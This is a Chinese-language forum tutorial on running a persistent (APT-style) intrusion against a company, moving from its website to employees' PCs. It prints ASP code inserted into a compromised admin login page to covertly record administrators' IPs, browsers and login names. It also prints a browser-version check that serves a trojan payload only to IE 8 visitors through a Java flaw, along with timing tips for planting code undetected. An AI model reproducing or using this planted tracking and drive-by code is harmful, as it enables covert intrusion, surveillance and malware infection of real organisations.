apt持续性综合渗透经验谈第一讲-从web到pc
apt持续性综合渗透经验谈第二讲-从web到pc

近年来,我们经常会看到海内外的一些大公司遭到APT攻击的报告,APT这个字眼越来越频繁的出现在大家的屏幕上,那么什么是APT攻击呢?


APT攻击又称持续性攻击,严格来讲,其实APT没有什么特定的形式,但是APT攻击却有一个共同的特征就是手法宽泛,综合性较强,而且持续时间长,往往是针对个人下手进而控制大范围的网络权限。

其实APT并没有什么特别神秘的地方,这就好比美国阿波罗11号登月飞船,美国的阿波罗11号飞船其实并没什么领先于其他国家的超级先进技术,但是他却综合了各个领域最尖端的科技成果,完美组合利用最终成功登月。APT渗透其实就是这样,往往进行APT渗透的团队他们并没有掌握比其他团队更先进的攻击手法, 或者0day之类的东西,但是讲各个方面的bug,exploit组合利用,加以长时间社工等信息交互,最终成功渗透大范围的网络。

APT持续性综合渗透经验谈第一讲 从Web到PC 1 踩点

本帖以某个中小型公司为例,讲述APT进行“踩点”的一个简单方式,本帖子中的踩点比较简单,但是却是迈开持续性渗透的第一步
目标公司具有一定规模,拥有自己的Web站点,也有自己公司的网络出口,公司网站使用的是虚拟主机,并且有自己的邮件服务器。

因为直接取邮件服务器的成功率非常低,成功率甚至低于1%,所以我们选择了对Web网站进行攻击。

获取Web服务器权限这一步,本帖子中就不再陈述,因为这并不属于我们要在本贴中认真探讨的话题,事实上,即使取不到Web服务器,我们仍然有其他的办法。

我们取到Web服务器的唯一价值就是,摸清这个公司的网络进出口,以及对网站的管理员进行持续性攻击
首先要从管理员那里获得信息,就要从管理入口下手

截图中已经显示了这个后台中的完整form表格,当default.asp文件对cmd变量取值为login时,后台程序将验证管理员密码的正确性。
那么我们再来看看default.asp的代码:

default.asp

......
if request("cmd")="login"  then
username=safe(request.form("username"))
password=safe(request.form("password"))
if trim(username)="" or trim(password)="" then
        showmsg "请填写登陆信息",2,"default.asp"
end if
set rs=server.createobject("adodb.recordset")
sql="select seq,username,password,truename,user_role,sex from admin32 where username='"&username&"' and user_role>1"
rs.open sql,conn,1,1
if rs.eof or rs.bof then
        showmsg "用户名不存在",2,"default.asp"
end if
if md5(password)<>trim(rs("password")) then
        showmsg "密码错误",2,"default.asp"
else
        session("userid")=rs("seq")
        session("user_role")=rs("user_role")
        session("islogin")=true
        session("sex")=rs("sex")
        session("netlogin")="82090704"
        session("passwd")=md5(password)
        session("username")=username
        session("truename")=rs("truename")
        showmsg "登陆成功!",2,"main.asp"
end if
......

当变量cmd取值为login的时候,default都执行了什么代码,最后的else后面是登陆成功后系统执行的代码
这里正好是我们可以利用的代码,既然登陆成功的一定是管理员(这个前提当然是这个网站已经没有可以被小黑利用的漏洞的前提了)

既然要利用这里对管理员进行信息收集,那么可以插入一些简单的成型的代码:

......
if request("cmd")="login"  then
username=safe(request.form("username"))
password=safe(request.form("password"))
if trim(username)="" or trim(password)="" then
        showmsg "请填写登陆信息",2,"default.asp"
end if
set rs=server.createobject("adodb.recordset")
sql="select seq,username,password,truename,user_role,sex from admin32 where username='"&username&"' and user_role>1"
rs.open sql,conn,1,1
if rs.eof or rs.bof then
        showmsg "用户名不存在",2,"default.asp"
end if
if md5(password)<>trim(rs("password")) then
        showmsg "密码错误",2,"default.asp"
else
'首先建立一个用于记录管理员信息的文件record.html
        rfile = "record.html"
'这是记录管理员ip的代码
        userip = Request.ServerVariables("HTTP_X_FORWARDED_FOR")
        If userip = "" Then userip = Request.ServerVariables("REMOTE_ADDR")
        userhost = Request.ServerVariables("Remote_Host")
'这里记录登陆者的浏览器和系统信息
        uuser = Request.ServerVariables("HTTP_USER_AGENT")
'这里是记录已经登陆的WinNT账户的,成功率低于1‰
        userlogin = Request.ServerVariables("LOGON_USER")
'最后对数据进行格式化整理和写入文件
        data = "<pre>" & vbcrlf & "User Host: " & userhost & "<br />" & vbcrlf & "User IP: " & userip & "<br />" & vbcrlf & "User Agent: " & uuser & "<br />" & vbcrlf & "System Login Name: " & userlogin & "<br />" & vbcrlf & "Time: " & now & "<br />" & vbcrlf & "</pre>" & vbcrlf & "<hr><br />" & vbcrlf
        Set Fs=Server.CreateObject("Scripting.FileSystemObject") 
        Set File=Fs.OpenTextFile(Server.MapPath(rfile),8,Flase)
        File.Writeline data
        File.Close
'记录结束
        session("userid")=rs("seq")
        session("user_role")=rs("user_role")
        session("islogin")=true
        session("sex")=rs("sex")
        session("netlogin")="82090704"
        session("passwd")=md5(password)
        session("username")=username
        session("truename")=rs("truename")
        showmsg "登陆成功!",2,"main.asp"
end if
......

正常情况下,一个公司都是周一至周五办公,因此这段记录代码我们是从周一上班之前插入,通常是周末将这段代码插入到目标公司的后台,并且要在周日晚之前调试完成。

这里之所以要注意时间,因为目标公司不一定是在中国本土,可能在日韩,或者北美,欧洲,他们的时区要注意。

另外也插代码插失败的时候,管理员如果刚好在线,就会很悲剧,给渗透的后半段造成的严重阻碍。无巧不成书的,调试代码错误的时候管理员刚巧在线的情况又不是没有过,所以一定要注意。

对于这个信息采集,并不是一次性完成的,我们需要对管理员的登陆频率,登陆地点以及使用的系统环境如何,都有一定的掌握。

这个采集首先进行一个完整的礼拜,这个礼拜只进行记录和统计,不进行下一步动作。来看一下统计的结果:

一个礼拜下来,我们发现每天管理员都登陆网站后台一次,共记录到了5次

时间系统浏览器其他
周一Windows XPSafari浏览器-
周二Windows XPIE 8-
周三Windows XPIE 6 .NET 2.0 & .NET 4.0
周四Windows XPIE 8-
周五Windows XPIE 6-

这里的ip是同一个ip,所以就可以确认这个ip肯定是目标公司的出入口。

其次,我们看到至少有4台不同的机器登陆后台,逐一分析:

周一的机器我们猜测可能是管理员的PC,笔记本之类的,可能是周末带回家做了什么东西,周一带回来使用并登陆了后台,这台机器估计安全性应该较高

周二和周四的机器可能是同一台机器,IE8可以利用近期的Java漏洞挂马

周三的机器是IE6,装了.NET FrameWork,有理由怀疑是有某个公司内部使用的程序,例如人事管理系统,财务管理系统

选择下手的机器也是要深思熟虑的。

如果直接对周三的机器下手,用.NET的安全问题挂马,可能会成功,但是这台机器登陆的频率可能不会很多,而且如果不巧是其他机器登陆的,那么挂马不但失败,而且还会被发现
虽然挂马是可以根据浏览器版本等信息进行筛选,可是周五的机器也是IE 6,总之直接对周三的机器下手,至少要等到拿到一台目标公司的机器以后才能进行。

在这里最终决定使用近期出现的java漏洞,对周二和周四的IE 8进行攻击。

这样的话就构造挂马脚本:

'这里的uuser变量是前面取到的浏览器信息 user_agent
Agent=Split(uuser,";")
If InStr(Agent(1),"MSIE")>0 Then
        version=Trim(Left(Replace(Agent(1),"MSIE",""),6))
        If InStr(version,")") > 0 Then
                tmpstr=Split(version,")")
                version=tmpstr(0)
        End If
End If
'上面对浏览器版本判断和取值完毕以后,针对不同版本进行攻击
if version="8.0" then
        response.Write("挂马代码")
end if

这里的挂马也是要经过调试的,调试的时间和信息收集一样,仍然是在周末中进行,要在周日晚之前调试成功并且结束。剩下的就是坐等管理员上线了。

至于网马代码从哪里搞,就要关注各个安全发布平台了,习科有专门的免杀远控,甚至还有成熟的dll劫持远控,就不详细阐述了,毕竟习科是个技术平台而不是个木马传播平台。